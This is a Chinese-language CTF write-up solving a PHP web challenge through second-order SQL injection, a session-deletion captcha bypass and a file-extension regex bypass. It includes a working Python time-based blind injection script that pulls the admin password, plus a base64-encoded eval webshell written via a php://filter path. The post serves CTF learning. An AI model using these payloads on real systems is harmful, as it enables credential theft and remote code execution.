记一道 web 题

2018-12-16

web, ctf

原文:https://www.anquanke.com/post/id/167637


这道题不算难吧。。(虽然看了 WP。。。)

源码太长了,不贴了。原题里有。。贴一下数据库的代码吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
create database web500 charset=utf8;
use web500;
create table user(
id int key auto_increment,
user varchar(100),
pass varchar(100)
);
create table note(
id int key auto_increment,
user varchar(100),
title varchar(100),
content varchar(100)
);
insert user values(1,"admin","admin123");

首先大致的看看几个函数:
1

可以发现这里查询的时候都把 $user 转成 hex 了。

but。。。
此处输入图片的描述

是的,这里没有 tohex。我们可以看看这个 $user 是哪里来的:
此处输入图片的描述

可以看到这里 是从 session 获取的,那么 seesion 中的 user 是怎么来的呢?

这里还注册了个 $admin 变量。记录登陆的用户是否为 admin

此处输入图片的描述

登陆成功后,从 $_POST['user'] 中提取的。

利用流程:注册一个用户 -> 登陆 -> 添加note -> 删除note。

哦~至于为什么要 admin 的密码,我们可以看:

此处输入图片的描述

最开始判断了是否为 admin

这里好像能写 shell,但是此处限制了文件名的后缀 ,怎么绕过这个 preg_match 呢?

此处正则:.+\.ph(p[3457]?|t|tml)$

可以发现正则最后有个 $,即:php/pht/pht 这样的后缀才会被匹配,说白了就是最后不能是 php/pht/phtml/ph2/3/4/5 这样,但是 phpa/phtb 这样的后缀正则表达式就匹配不到了。。。。

那么我们的后缀可以这样: php/. ,因为 / 是路径分隔符(吧?),所以创建 abc.php/. 相当于写入 abc.php


注入

ok。回到前面,我们发现可以注入,我们此时试试注入处 admin 的密码,手动几乎不可能的,我们考虑用用脚本吧

此处输入图片的描述

但是不管登陆注册我们都会发现有个这个,这个是判断验证码是否正确。。

且这里不能一个验证码多次使用。。。

但是。。。。这里并没有判断 $_SESSION['answer'] 是否为空。

而生成验证码的是一段 html<img src="valicode.php">

当我们直接请求 register 时会先解释 php 代码。如果此时 answer 还没生成,那么当我们传入的 code 为 空时:''==NULL 成立。

那怎么让他生成之前请求 register 呢?此处只需要把 SESSION 删了,即可。

于是写个jo本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import time

def register(user,passwd):
url="http://192.168.0.109/ctf/web500/test.php?action=register"
requests.post(url,data={"user":user,"pass":passwd,"code":""})
pass

def login(user,passwd):
s = requests.session()
url="http://192.168.0.109/ctf/web500/test.php?action=login"
s.post(url,data={"user":user,"pass":passwd,"code":""})
return s
pass

def delete_note(s):
url = "http://192.168.0.109/ctf/web500/test.php?action=delete&id=4"
s.get(url)
pass

payload = "11' or if(mid((select pass from user where user='admin'),{offset},1)='{asc}',sleep(5),0)=1 or 1='"
admin_pass = ""
for i in range(1,100):
print "admin_pass : ",admin_pass
for a in 'abcdefghijklmnopqrstuvwxyz1234567890':
payload_tmp = payload.format(offset=i,asc=a)
register(payload_tmp,'1234')
s = login(payload_tmp,'1234')
t1 = time.time()
delete_note(s)
t2 = time.time()

if t2-t1>3:
admin_pass+=a
break;

我一开始还碰到了些问题,,好像是 andor 的问题:

1
if(mid((select pass from user where user='admin'),{offset},1)='{asc}',sleep(5),0)=1 or 1=''

如果最后的 or 1=''and 1='' 的话,好像就不行。

同样的可以参考:

1
2
3
4
5
select * from user where 1=(sleep(10)) and 1=''; # 不触发 sleep
select * from user where 1=(sleep(10)) and 1=1; # 触发 sleep
select * from user where 1=1 and 1=(sleep(10)); # 触发 sleep
select * from user where 1='' and 1=(sleep(10)); # 不触发 sleep
select * from user where 1=(sleep(3)) and 1=(sleep(10)); # 一直睡下去。。。

猜测可能是 如果 where 子句中有 and 先判断了耗时比较短的,如果耗时短的都不行那就没必要判断耗时长的了

以上是瞎猜的。。反正用 or 就对了。。233

但是好像有一些问题。。。会多跑出几个字符。。。md算了。。

跑出密码后就可以登陆了,此时使用 backup 功能。

发现 php/. 的后缀确实可以保存成 php 后缀的文件名,,但是:

当我们执行 newnote 添加一个 <?php eval($_REQUEST[1])?> 的时候:

此处输入图片的描述

这里使用了 htmlspecialchars

此处输入图片的描述

于是便不能直接写一句话了。

这时候:

参考下p神的文章:谈一谈php://filter的妙用

得知我们可以在 文件操作的地方使用 php://filter 伪协议

我们可以 add_note 的时候添加:
base64_encode('<?php eval($_REQUEST[1])?>')
这个的结果:
PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pPz4

此时调用 backup,文件名写:
php://filter/convert.base64-decode/resource=test.php/.

注意这里是 base64-decode。。。

至此就已经拿到 shell 了。。


总结

这题使用到的 trick :

  1. 二次注入
  2. 删除 SESSION 的方式绕过验证码
  3. 操作文件时使用 php://filter 伪协议。。